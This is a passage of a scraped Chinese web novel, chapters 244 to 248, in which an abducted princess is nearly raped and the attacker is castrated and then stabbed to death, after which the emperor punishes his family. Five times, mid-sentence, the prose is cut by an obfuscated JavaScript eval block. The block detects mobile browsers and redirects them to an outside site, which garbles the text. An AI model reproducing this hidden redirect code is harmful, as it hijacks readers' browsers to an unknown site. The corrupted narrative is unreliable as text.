他骑得很快,面容紧绷着,拉着缰绳的手也很用力。 他不敢想象,萧宝珠若当真出事,会是怎样的结果。 他更不敢想象,自己若是选错了路,结局会如何? 追到某处,他余光忽而瞥见了什么。 路边的草丛中,有一只绣鞋。 那只绣鞋,他见过! 是母亲为萧宝珠绣的。 她很喜欢,后面每次来,穿的都是这双鞋。 孙牧之用力按捏着这只鞋子,心头涌起一股难以言喻的冷意。 在前面不远处,他又捡到了一只鞋。 而后,一路上便是金钗步摇等物,他没有再下来捡。 那些东西的出现,足以说明,她的确落入了歹人之手,而她自己也发现了这一点。 她在努力自救。 一定要坚持住。 他很快就来了。 此时的萧宝珠,看着眼前这人,惊得目瞪口呆,后背也迅速渗出冷汗。 “蒋泽霖,怎么是你!” 眼前之人,与一月之前所见似完全换了个人。 他的面容消瘦,两颊深深凹陷,整个人周身都笼上了一层难以言喻的阴鸷,看人的眼神,便似一条阴冷的毒蛇。 最醒目的是,他的右臂空荡荡的。 他当日被猛虎袭击,断了一臂。 若非他祖父蒋老太医全力医治,他的这条性命都捡不回来。 但他就算捡回了一条命,也已然成了个独臂的怪物,更成了一个活**。 蒋家因为他,断送了前程,家里人除了母亲以外,无人心疼他,人人都怪他。 他的人生,失去了意义。 他无数次想要死,**就一了百了了。 但是他又不甘心。 凭什么自己要这么**? 他将这一切,都怪在了萧宝珠的身上。 若不是她,自己怎会落得如此下场? 一切都是她的错。 要死,自己也要拉着她,一起**。 第244章 你就是疯子 蒋泽霖的眸底一片赤红,盯着萧宝珠的眼神充满了阴森与恨意。 “九公主,好久不见,这段时日,你过得如何?看样子,你过得十分不错啊,可是我,却过得无比煎熬,简直生不如死!” 萧宝珠连连后退,心中慌乱到了极致。 “你,你那都是咎由自取!你要怪就怪自己!” 蒋泽霖顿时暴怒,“这一切都怪你!若不是你,我怎会失去一只手臂,变成一个废人?你这个**!” 蒋泽霖抡起左臂就要打她,萧宝珠偏头躲开,然后费力地一把推开对方,抬腿就往破屋的门口跑。 但屋门早就被锁上了,萧宝珠根本打不开。 蒋泽霖被彻底激怒,一把揪住她的头发,将她拖拽了回来。 “你个**,还敢跑!你以为你这次还能逃得掉吗?” 萧宝珠的头皮疼得发麻,恐惧也达到了顶峰。 “蒋泽霖,你,你冷静一点,你若现在伤了我,我父皇不会放过你的,只要你现在放了我,我可以向父皇求情,让他放过你。” 蒋泽霖发出桀桀的冷笑声,“你以为我会信你吗?我若放了你,只会死得更快。我啊,本就不想活了。我为了你,成了个独臂的怪物,你还那般有闲情逸致地登孙家的门,巴巴地讨好孙景轩,你也该死!有你给我陪葬,我死也值了!” 萧宝珠浑身的鸡皮疙瘩地冒了起来。 “你,你误会了,我,我不是去找孙景轩的,我知道他是个小人,讨厌他还来不及,怎会去找他?我,我是去三房……” 这话一出,蒋泽霖顿时目露凶光,扬手就甩了萧宝珠一记耳光。 “孙牧之那野种更该死!他明明可以从猛虎嘴里救下我,却选择救你,他真该死!最该死的是你!若你能像对待蒋南笙那样对我,我岂会出此下策?又怎会被猛虎咬掉手臂?你们,所有人,都该死!全都给我下地狱!” 他状若癫狂,高声大骂,双目红得充血。 萧宝珠缓慢地往门口挪,不敢再开口激怒他。 他断了手,经受了重大的刺激,已然疯魔了。 自己越是刺激他,就越会经受人身伤害。 蒋泽霖很快又注意到她,伸手用力掐住她的肩膀,咬牙切齿。 “我到底比那蒋南笙那庶子差在哪里?为什么你们所有人心里眼里就只有他?你对他可真是一往情深啊!” 萧宝珠被他掐得肩膀生疼,只能伸手去推。 但对方力气大得吓人,她根本推不开。 “我与阿笙的关系不是你想象的那样,我们只是朋友!” “听到他重伤的消息,你巴巴地就来了,这不是一往情深是什么?” 萧宝珠不知该如何解释。 她不可能把蒋南笙的秘密和盘托出,就算说了,这疯子也定然不会相信。 “他一心就只有那些药材,为了那些低贱的病人,他可以大半年都不回来看你一眼,你却还对他这般心心念念,你可真是犯贱!” 萧宝珠不再开口争辩,只任由他发泄。 若他发泄了之后,能稍稍恢复几分神志,把自己放了,那就再好不过了。 再不济,自己能多拖延些时间,能等来救自己的人也好! 但这狗男人好像听到了自己的祈求,他停止了谩骂,一双眼睛阴恻恻地看着萧宝珠。 “公主,你可知我对你的情谊?我对你日思夜想,每日所盼皆是你能多看我一眼。听说你要选驸马,我辗转反侧,彻夜难眠。孙景轩那**子,他根本不知道你的好,蒋南笙那庶子,也配不上你!只有我,只有我才是你真正的良配。” 他一边说着,一边伸手,想要去摸萧宝珠的脸。 萧宝珠顿时起了一阵鸡皮疙瘩,抬手一把将他的手打开。 “你别碰我!” 她的眼底也不受控地浮起一丝嫌弃。 那抹嫌弃再次刺激到了蒋泽霖,他眸底瞬间迸出疯狂。 “你敢嫌弃我!呵呵,你今日落到了我的手里,你以为你还有脱身的机会吗?今日,我必须要得到你!” 萧宝珠骇得面色骤变,声音都在颤抖。 “你,你敢碰我一下试试,我父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15284275|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定然不会放过你的!” 蒋泽霖阴恻恻地笑了,“我原本就没打算活了,待与你成了夫妻,我便亲手送你上路,我跟着就来,到了阴曹地府,我们俩,依旧能继续做夫妻。” 萧宝珠骇然大喊,“你,你不能这样!就算你**,蒋家也会被你牵连的。” 蒋泽霖笑得更加癫狂,“那就再好不过了,蒋南笙也是蒋家人,若我**,还能拉上他,我死得就更值了!至于蒋家其他人,我也不在乎。我这段时日受尽了冷眼,我已经彻底看透了,他们根本不在乎我的死活,既然如此,我又何必在乎他们?” 萧宝珠浑身都在颤抖,“疯子,你简直是个疯子!” “没错,我就是个疯子,我就是被你们逼疯的!公主,你放心,我会让你快活的……” 他淫笑着扑向萧宝珠,萧宝珠发出一声尖叫,拼命挣扎。 但男女体力上便有着天然的悬殊,即便蒋泽霖断了一臂,她也根本挣扎不过。 这一瞬间,她彻底绝望了。 她该怎么办?谁来救救她? 就在这时,木屋的门被人一脚踢开了,压在他身上正欲行凶的男人也被一把拎开,重重地砸在了门上,发出砰一声巨响。 蒋泽霖倒在地上,当场吐出了一口血,浑身上下更似被车碾过,几乎散架了。 他艰难地抬头,终于看清了眼前人,他顿时一阵咬牙切齿。 孙牧之! 怎么又是他!每次都坏自己好事! 萧宝珠也不可置信地看着孙牧之,眼前的男人,便宛若天神一般。 这一瞬间,她不知该如何形容自己的心情,原本绝望的心,在这一刻陡然盈满了希望。 孙牧之解开自己的外衫,小心翼翼地披在萧宝珠的身上,将她裹得严严实实的。 又从怀中取出那双绣鞋,动作虔诚地给她穿上。 “公主,草民来迟,让您受惊吓了。” 她牢牢抓住孙牧之的衣裳,将自己的身子紧紧裹着。 方才一直强忍着没有落下的眼泪,在这一刻终于簌簌滚落。 第245章 亲手杀了他 孙牧之看到她的眼泪,心口升起一股难以言说的剧痛。 他起身,看向蒋泽霖,周身的气场冷得可怕。 蒋泽霖正艰难地往外爬。 孙牧之的身手究竟有多可怕,他亲眼见识过。 这人疯起来,那才是一条真正的疯狗。 孙牧之看着他往外爬,并没有阻止。 他不想在这屋子里收拾对方,怕污了公主的眼。 蒋泽霖爬出了木屋,孙牧之这才抬步跟了上去。 很快,外面便传来一阵撕心裂肺的惨叫,和一声高过一声的求饶。 萧宝珠原本埋着头专心地哭,听到这一阵阵的哭嚎,她连哭都忘了。 她并没有被吓到,反而有种大快人心的感觉。 那狗东西,竟敢一而再,再而三地对自己下手,根本死不足惜。 萧宝珠整理好衣裳,调整了一番心情,起身往外走。 她要亲眼看看那狗东西是个什么下场。 萧宝珠刚走到门口,就看到了琼华的尸体,她险些受了辱,直接一头撞死的,脑袋上一个拳头大的豁口子,双目瞪得大大的。 一股愤怒与难过涌上心头。 蒋泽霖真该死! 她目光一转,便见孙牧之刀起刀落,把蒋泽霖裆下的东西削了下来,蒋泽霖捂着血流如注的伤处,在地上疯狂打滚,凄厉惨叫响彻云霄。 孙牧之握着手中的绣春刀,看他的眼神仿佛在看一个**。 “敢对公主不敬,万死亦不足惜。” 他冷漠地将刀背在对方身上擦着,将上面的血迹擦干净。 一转头,就对上了萧宝珠那瞪得溜圆的眼睛。 孙牧之脸上的冷漠之色骤然一顿,眼底闪过一抹慌乱,似做错事的孩子。 她都看到了多少? 会不会觉得自己冷血无情,残忍暴戾? “公主,是我做的不妥,污了您的眼。” 萧宝珠回过神来,“你的确做得不妥。” 孙牧之脑袋垂得更低了几分。 萧宝珠冷声,“这样一个畜生不如的东西,不杀了,还留着过年吗?” 孙牧之一愣,旋即反应过来她的意思。 “我方才不知公主是否要留活口,这才手下留情,我现在就将他了结了。” 孙牧之就要下手,萧宝珠喊住他,“等等。让我来。” 孙牧之眼底闪过诧异,岂能脏了她的手? 但他什么都没多说,只递出了自己的刀。 萧宝珠接过他的手,入手发沉,她险些没拿稳。 她两只手拿着,一步步朝地上翻滚的男人走去。 蒋泽霖捂着伤处痛呼不止,嘴唇都疼得发白了。 余光瞥见萧宝珠,方才那股豁出去的癫狂无畏没了,此刻的他生出了前所未有的求生欲。 “公主,饶,饶命,饶了我这一回……” 他疼得声音阵阵嘶哑,眼底也充满了祈求。 萧宝珠看着他,眼底充满了厌恶与恨意。 “你先前不是说自己不想活了吗?既然如此,本公主便成全你!” 萧宝珠举起刀,狠狠地朝他身上刺去。 她没有学过武,下手毫无章法,没法一刀致命,只在他的身上添了一道伤。 一刀,两刀,三刀…… 不知划了多少刀,蒋泽霖的痛呼声越来越弱,最后, 终于彻底咽气。 萧宝珠手中的刀“哐当”地落了地,她整个人也似瞬间虚脱了那般。 她亲手杀了人。 她以为自己会害怕,但实际上,她并没有,心底只有一股畅快,那是亲手手刃仇人的快意。 上次,他设计自己的时候,她就应该将对方砍了,若不然,也不会遇到这场风波。 斩草不除根,后患无穷。 她狠狠地吃到了教训,再不敢有半点姑息大意。 只是,到底是第一次**,方才强撑的那股气势消失了,她的身子便开始发软,有些站立不稳。 孙牧之快步上前扶住她,“公主小心。” 萧宝珠定了定神,“我没事。” 她看向孙牧之,眼神中多了一丝别样的情绪。 “孙牧之,你又救了我一次。我该怎么谢你?” 孙牧之低垂下头,语气虔诚,“幼时,公主亦不止一次救过我,那番恩情,我无以回报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292100|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 萧宝珠心头有些莫名的失落,“你就是因为这个,才两次出手救我?” 是,因为她是自己的恩人,没有她的提点和帮助,自己只怕还在孙家忍气吞声。 也不全是,她于他而言,不仅仅是恩人那么简单,她似一束光,照亮了自己灰暗的未来。 他在她面前从来都是卑微的,卑微到不敢将心底的心事泄露出半分,怕亵渎了她,也怕招来她的厌恶。 所以他没有回答。 他的沉默,落在萧宝珠的眼里就成了默认。 那股失落淡淡而过,她很快抛诸脑后。 “你是怎么找到我的?” 孙牧之如实道来,萧宝珠听罢,心头刚刚压下的情绪再次翻涌起来。 他竟仅凭不经意的一瞥,就认出了她,还一路追了过来。 也多亏了他的细心,不然,她简直不敢想接下来会发生些什么。 “公主,这具尸体,该如何处置?” 萧宝珠面露嫌恶,“扔到蒋家门口去,告诉他们,人是我杀的,我倒要看看,他们敢不敢到我跟前来**。” 孙牧之有些犹豫,“公主,宁得罪君子,不得罪小人。蒋家人若因此记恨上您,再对您下手,您只怕防不胜防。” 这次,他也是运气好才刚好碰上,刚好把人救了。 若再有下次,谁都不敢保证会发生什么事。 萧宝珠气恼,“我是受害者,反倒要畏首畏尾,还有没有王法了?” 生气归生气,她到底也听劝,“那你说,我该如何处置为妥?” 孙牧之说了自己的意见,“如实禀明皇上,交由皇上处置。蒋家人再怎样,也断不敢对皇上的处置有异议。” “父皇一怒之下把蒋家上下的人都砍了怎么办?阿笙也是蒋家人。” 这才是她投鼠忌器的地方。 蒋泽霖与蒋南笙都是大房的人,父皇若发作了大房,蒋南笙也要受无妄之灾。 孙牧之闻言,眸色不禁深了几分,心头亦不受控地升起一股酸涩之感。 她果然非常在意蒋南笙。 为了他,连这么大的气都能忍。 第246章 重罚蒋家 心中的小人不受控地冒出来作祟,孙牧之道:“皇上明察秋毫,定然不会迁怒无关之人。” 萧宝珠有些不确定。 蒋泽霖一而再再而三地作妖,父皇定然十分震怒。 受伤害的不仅仅是自己这个公主,还有父皇的威严。 萧宝珠一时有些投鼠忌器,但此事却已经惊动了德丰帝。 她没有在关门下闸之前回宫,修好马车的车夫派人寻找无果,不敢大意,赶忙将此事禀明皇上。 皇上第一时间派出心腹龙鳞卫出城寻找。 皇上的龙鳞卫追踪本事了得,一路便追查到了木屋前。 至此,事情真相再也瞒不住了。 德丰帝看到萧宝珠满身狼狈的模样,简直心疼到了骨子里,怒意也达到了顶峰。 “好个蒋泽霖,好个蒋家,真是岂有此理!简直完全不把皇家放在眼里!来人,传朕旨意,蒋家教子无方,养出蒋泽霖这等不孝子,胆敢谋害公主,罪大恶极!若不严惩,不足以正国威!” “着,抄没蒋氏全族家产,充入国库,蒋氏一族,无论男女老幼,皆下狱候审,主犯及其同谋者,处以极刑,以正国法!其余族人,流放三千里,发配边疆,永世不得回京!” “孙牧之,你这次又立了大功,当赏。此次蒋家抄家之事,便交由你来负责,你可能办好?” 孙牧之立马跪下领旨,“微臣领命!” 孙牧之刚走,皇上就派出龙鳞卫,下令彻查此事的经过。 “给朕仔仔细细地查清楚,此事究竟还有谁的手笔!也查一查孙牧之。” 他接连两次救了萧宝珠,上次或许只是巧合,这次呢?这其中,会不会有他的手笔? 为帝者,秉性都多疑,越是巧合之事,就越是不会轻易相信。 当夜,蒋家就被抄了。 蒋家人尚在梦中,完全不知是怎么一回事,就被这番变故惊醒。 得知是蒋泽霖作孽,蒋老太医老泪纵横,原本就枯瘦的身子,此时更是破败得如同一片枯树叶,只需风轻轻一吹,就落了地。 “逆子,真是逆子啊!早知如此,当初,我就不该救他!” 抄家的御林军动作粗莽,蒋老太医眼见那些珍贵的医药典籍被他们随意丢弃,心疼得无以复加。 蒋老太医顾不上身上的不适,急急上前阻拦,但树倒猢狲散,蒋家彻底倒了,以往备受尊敬的蒋老太医也成了个糟老头子,他的阻拦根本毫无作用。 不少人当着蒋老太医的面糟蹋医书,蒋老太医满脸绝望。 一人翻找许久都没有找到值钱的物件,恼得要将手中医书撕碎,忽而双手被人一把钳住了。 对方恼怒,回头,就对上了孙牧之那冷得毫无感情的眸子。 “此等医书,亦是孙家的财物,都需尽数上交朝廷,尔等肆意损毁,是要侵害朝廷财产?” 那人仗着资历深,对孙牧之并不信服,闻言目露不屑。 “别拿着个鸡毛就当令箭,侥幸立了点芝麻绿豆大的功劳,真当自己了不起了。这医书,我想撕就撕!” 说完他就又要动手,但他没有成功,取而代之的,是一道清晰的“咔嚓”声,紧接着便是撕心裂肺的惨叫。 那人的手被卸了下来。 而众人根本没看清孙牧之是如何使力的。 “你敢行凶,我跟你拼了!” 那人抡起未受伤的胳膊就要还击,但根本没碰到孙牧之的衣角,就被对方撂倒,毫无还手之力。 那人要挣扎,被孙牧之一脚踩在背上,动弹不得。 孙牧之环顾众人,“皇上将这差事交由我负责,你们就都得听我的,若有不服,大可来战,谁能打得过我,我便自请卸下这桩差事,任凭你们想如何便如何。” 众人面面相觑,无人敢开口,更无人敢上前挑战。 孙牧之以一己之力杀死老虎之事他们都有听闻,今日又亲眼见他露出身手,识趣者自然不敢往上撞。 有了这一出杀鸡儆猴,没人再敢糟蹋蒋家的医书,便是顺手捞油水,也收敛不少。 孙牧之亲自蹲身,将那些被扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15292101|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得乱七八糟的医书捡了起来。 蒋老太医感激地看着他,“方才多谢你,若非是你,这些宝贵的东西就都被毁了。” 孙牧之语气淡淡,“蒋家教子无方固然有错,但医书是无辜的。蒋南笙的东西是哪些?劳烦您整理出来。” 蒋家的医书,的确都要收归太医院。 蒋南笙的东西,才是他的目标。 后来,他才得知,萧宝珠是被蒋南笙的消息骗出了城。 那个男人的消息,轻易就能让她打乱方寸,可见对方在她心中的分量有多重。 这些医书,她定然想要的。 一个晚上,蒋家才查抄完成。 蒋家上下,最多的不是银子,而是医书。 这番结果,让德丰帝也不禁生出触动。 自己对蒋家的惩处,会不会太过了? 但圣旨已下,断然没有收回的道理。 德丰帝看着孙牧之,笑着开口,“孙爱卿,这次的差事,你办得很不错,你是个可造之材。你还两次救了宝珠,朕定要好好赏你。从今以后,你便到朕的龙鳞卫来吧。” 冯有才眼底闪过诧异,皇上不是还没查清此事是否与孙牧之有关吗?怎么如此重用他? 旋即很快便琢磨明白了皇上此举的用意。 若最后查证了此事与孙牧之有关,皇上一声令下,龙鳞卫就能把孙牧之除掉,悄无声息,不会引起半分波澜。 若他是无辜的,要在龙鳞卫要站稳脚也并非容易之事。 能进入龙鳞卫的人,无不都是经过百般磨练,孙牧之这个外来者能否真正融入其中,还得看他自己的本事。 孙牧之听了这话,亦是不禁愣怔。 他应当立马叩首谢恩,但这并非他想要的。 他跪了下来,诚惶诚恐地向德丰帝请罪。 “皇上恕罪,微臣另有所求,还请皇上成全。” 德丰帝闻言,眸色一沉。 他竟敢抗旨? 旋即,眼底便是一股隐怒,神色也淡了几分。 “你想要什么?不妨说说看。” 第247章 人尽其用 孙牧之叩首,语气恭敬,“微臣听闻西平爆发疫病,想自请前往,为平息疫情尽一份心力,请皇上恩准。” 德丰帝脸上闪过错愕。 他不禁再次看向孙牧之,“你只有这个请求?” “是。” 德丰帝看着他,眼神意味不明,“凭你的功劳,大可讨要更丰厚的赏赐。” 孙牧之至始至终低着头,语气诚恳,“微臣能侥幸搭救公主,是微臣的荣幸,断不敢居功。微臣若凭借此功就忝居龙鳞卫之列,恐不能服众。微臣自请前往西平,一是为皇上分忧,二也是希望自己能侥幸立下寸功,让自己日后的跻升更加名正言顺。” 德丰帝听罢他的这番话,眸中露出沉思。 “很好,不错!朕没有看错你。既然你有此志向,朕便准了!” 孙牧之当即重重叩首,“多谢皇上隆恩。” “你既去西平,也不能这么赤条条地去。朕便封你为护军中尉,给你一千亲兵,赐令牌一枚,允你便宜行事之权。” 孙牧之闻言,眸底闪过一抹惊喜。 他没想到,竟还会有此等意外之喜。 德丰帝看着孙牧之,眼神中带上一丝别有意味。 “若西平城有任何异动,你便是朕的眼睛,可明白?” 孙牧之心头一凛。 皇上这是不信任楚翊安,所以才让自己任护军中尉,目的便是为了制衡楚翊安,防止对方动不该动的手脚。 “微臣明白!微臣定不辱命!” 德丰帝满意颔首,“好,你且去吧,速速准备,早日出发,不可耽误。” 孙牧之很快告退了。 德丰帝疲惫地揉着眉心,孙有才颇有眼色地上前斟茶,并不开口探问。 反倒是德丰帝自己主动开了口,“冯有才,你可知朕为何要如此重用他?” 冯有才惶恐,“皇上深谋远虑,奴才愚钝,无法参透。” 德丰帝喝了一盏茶,淡淡开口,“他的确有几分本事,又有野心,急于立功,这样的人,会是一把很好的刀。若宝珠之事当真是他自导自演,待西平之事了了再行处置也不迟。” 人尽其用,此方为帝王的用人之术。 孙牧之第一时间回了家,向母亲告知了此事。 甄氏听罢,满脸担忧,她很想劝阻,但话到嘴边又全都咽了回去,只化作一句,“我去给你收拾行囊。” 看着母亲瘦削的背影,孙牧之胸中激荡着一股酸涩的情绪。 他知道母亲担心自己,但此行,他必须去。 他要为他们母子的未来谋划。 他要想法子从孙家分出去,但眼下他身无寸功,根本做不到这一点。 他要立下实打实的功劳,才能在孙家有足够的话语权,也才能给母亲足够的庇护。 甄氏收拾好东西出来,孙牧之眼尖地看到,她的眼眶有些红了。 方才定是哭过了。 孙牧之轻轻握住甄氏的手,语气坚定,“母亲,您别担心,儿子定会立下大功,让您后半辈子都能跟着享受荣光。” 甄氏的眼角又隐隐发酸,“母亲不求你功成名就,只盼你平平安安。” 蒋老太医拼了老脸,终于求得了面圣的机会。 德丰帝看着眼前的老了十岁不止的老臣,又想到蒋家抄出来的医书,到底有些心软。 蒋老太医匍匐在地,老泪纵横。 “皇上,是微臣没有管教好子孙,微臣罪该万死啊!微臣本没有脸再来见您,但,微臣想到蒋家那些无辜妇孺,便彻夜难眠,微臣求皇上网开一面,饶过她们吧!” 德丰帝脸色淡了几分。 他固然对眼前的老臣有些不忍,但这点子不忍,却不足以让他收回成命。 “蒋泽霖一而再,再而三地谋害宝珠,此举乃是对皇权的大不敬。蒋家众人无辜,那朕的宝珠就不无辜了吗?” 蒋老太医连连磕头,“是微臣那不孝孙儿该死,微臣万不敢为他辩驳半个字。微臣斗胆前来,是希望能戴罪立功。微臣愿与几个不孝子,以戴罪之身前往西平治疫,以将功折罪。” “蒋家子孙世代学医,微臣那几个不孝子就算医术不精,也能略尽绵力,若我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15297353|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们能侥幸立下寸功,还请皇上网开一面,宽恕蒋家无辜妇孺,叫她们免于流放之苦。” 说完,蒋老太医便重重磕头,一下接着一下,很快就在脑袋上磕出血窟窿来。 德丰帝示意冯有才将他扶了起来。 “蒋老,你这又是何苦?” 蒋老太医面容枯瘦,额上的血迹让他看上去更添几分苍老。 “微臣已经半截身子埋进了土里,**便**,但微臣的小重孙才一岁,微臣实在是不忍心啊。” “你这身子,便是想去西平,只怕也撑不到,又何苦落个客死他乡的结局?” 蒋老太医语气坚定,“微臣便是只有最后一口气,也定会撑到西平,撑到疫情稳定下来,只求皇上能给蒋家这次机会。” 德丰帝长长叹息一声,“罢了,朕看你如此,心中亦是不忍,此事朕便允了。” 蒋老太医闻言,顿时喜极而泣。 “微臣叩谢皇上隆恩!” 他又要跪下,被德丰帝虚扶住。 “蒋老,你也要保重身子。” 蒋老太医连连点头,最后迈着蹒跚的步子离开了。 德丰帝看着他佝偻的背影,长长叹息一声。 “吩咐下去,此去西平,给蒋老准备一辆宽敞舒适的马车,一应吃食用度都不可怠慢。” 西平乃两国边境,西平局势的安稳,关乎着大齐的安全。 蒋家的确还有用处,若他们能平复此次疫情,便网开一面,从轻发落。 在此之前,自然不能让蒋老太医出事。 就在此时,龙鳞卫终于将这段时日萧宝珠在孙家发生之事全都摸清楚了。 孙家大房和二房,没少私底下辱骂萧宝珠。 尤其是孙景轩,在自己院中之时,骂人分外难听。 只有三房的三夫人甄氏,亲手给萧宝珠做绣花鞋,做衣裳,人前人后,都对萧宝珠甚是喜爱。 萧宝珠出事时马车损坏,也并非意外,而是有人刻意为之。 而这一切,便是孙景轩指使。 在此之前,孙景轩与蒋泽霖也有过联系。 第248章 斩草除根,方能永绝后患 德丰帝大掌狠狠拍在桌上,周身的气压冷得吓人。 “竖子!上次朕就不该饶他狗命!” 狠狠发了一通火,德丰帝沉着脸,“把这些东西送到坤宁宫!” 冯有才躬着身,应声而去。 孙家一而再再而三的举动,已然彻底触怒了德丰帝,也将德丰帝对孙皇后的情分也消磨得所剩无几。 孙皇后若不能做出决断,德丰帝与她的最后一点夫妻情分也要耗尽了。 孙皇后并不知道萧宝珠出事的消息。 上次孙家出事后,她的身体每况日下,一直缠绵病榻,心腹嬷嬷没敢把这件事告知她。 直到今日,冯有才亲自送来了那些书信,孙皇后看了,险些当场晕厥,即便是强撑着一口气,脸色也变得无比惨白。 “他怎么敢?怎么敢!” 吴嬷嬷用力搀着孙皇后,满脸担忧与心疼。 “娘娘,您保重身体要紧,莫要气坏了自个儿。” 孙皇后嘴唇哆嗦着,周身都笼着一股沉沉的死气。 “本宫这么多年,一直把孙家摆在第一位,到头来,一切都是一场笑话。他们,根本从未把本宫放在心上!” 但凡他们对自己有半分敬畏,就不会一而再,再而三地伤害宝珠。 皇上让冯有才送来了这份东西,也已经表明了皇上的态度。 是时候做出决断了。 蒋家的抄没在京中引起了轩然大波,众人纷纷猜测蒋家遭此大难的原因,却没有头绪。 陆知苒得知此事亦是闪过诸多猜测。 难道,是蒋南笙被人陷害,出了什么事? 陆知苒入宫,与叶寒衣一道去寻萧宝珠,这才从她的口中知道了真相,二人都气得面色大变。 叶寒衣大骂,“当初那头老虎怎么没把那畜生咬死!早知道,我当初就应该补一刀解决了他。” 萧宝珠想起那夜之事,依旧心有余悸,但在她们面前,她并未表现出来,反而一副轻松模样。 “放心,那厮死得很惨,是被我一刀刀**的,死前受了很多折磨,还被阉了。” 陆知苒和叶寒衣都瞪大了眼,不可置信地看着萧宝珠。 “你亲手阉了他?” 没想到啊,宝珠竟是个猛人。 萧宝珠摇头,“不是我,是孙牧之。” 想到他刀起刀落的模样,萧宝珠既觉得有点心里发怵,又觉得大快人心。 叶寒衣眼睛亮了几分,“孙牧之可以啊,够男人。” 陆知苒若有所思,“说来,这两次都是孙牧之救了你,你们之间倒是挺有缘。” 萧宝珠小时候经常帮孙牧之出头,现在他反过来保护萧宝珠的安危,细想,两人的确十分有缘。 萧宝珠的脸上闪过一抹微微的不自在。 “只是碰巧罢了。” 陆知苒挑眉,“旁人怎么没有这样的碰巧?” 萧宝珠心中那股异样更甚。 好在这时,叶寒衣注意到她的书桌上堆着不少书,转开了话题。 “你这么好学?这几日都在看书?还是医书?” 萧宝珠摇头,“不是,这是阿笙的手札,孙牧之从蒋家抄来的。” 萧宝珠也很意外,她没想到孙牧之会主动把蒋南笙的手札整理出来,托人给她送来。 看到这些珍贵的手札,萧宝珠不知该如何形容自己的心情。 此事因蒋泽霖而起,但也与自己脱不开干系。 若阿笙回来了,发现蒋家被抄,偌大基业毁于一旦,会不会怪自己? 陆知苒看出她的心思,出声宽慰,“宝珠,蒋公子与你自小一起长大,情分不一般,她定然不会因为旁人迁怒你。若她当真如此的话,你就更不用伤怀了,因为她不值得。” 萧宝珠依旧眉头紧锁,“可她再也不能回京城了。” 陆知苒挑眉,“为何不能?只要她想回,自然就可以回。” “父皇下令蒋家人一律流放,她是蒋家六公子,自然也不能幸免。” 陆知苒似笑非笑地看着她,“她是吗?” 对上她的眼神,萧宝珠神色一顿。 她这话是什么意思,难道她知道了些什么? “我相信,事在人为,局势瞬息万变,当下如此,但之后如何,谁能说得准?” 萧宝珠心头闪过若有所思。 叶寒衣看着两人,总觉得她们在打什么哑谜。 这位蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15297354|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南笙到底是何许人也,她实在是太好奇了。 叶寒衣开口追问,萧宝珠亦是如数家珍,神色间丝毫不掩对对方的好感,叶寒衣几乎酸掉了牙。 正说笑间,宫人通禀,皇后娘娘来了,几人的说笑声立马停了,萧宝珠脸上亦多了一丝拘谨。 孙皇后涂了厚厚的脂粉,依旧掩不住面上的苍老与憔悴。 陆知苒见了,不禁暗暗惊心。 孙皇后越发瘦弱了,继续这般下去,她只怕寿元不长了。 萧宝珠见到母后如此,心头亦是掀起涟漪。 这些时日,母后免了她的请安,她亦不想不识趣地往前凑,免得平白给彼此添堵。 没想到,短短的时日,母后瘦了这么多。 陆知苒和叶寒衣都起身,识趣地告退,把空间留给母女二人。 孙皇后目光落在萧宝珠的身上,眼底泛起一丝心疼。 “瘦了不少。” 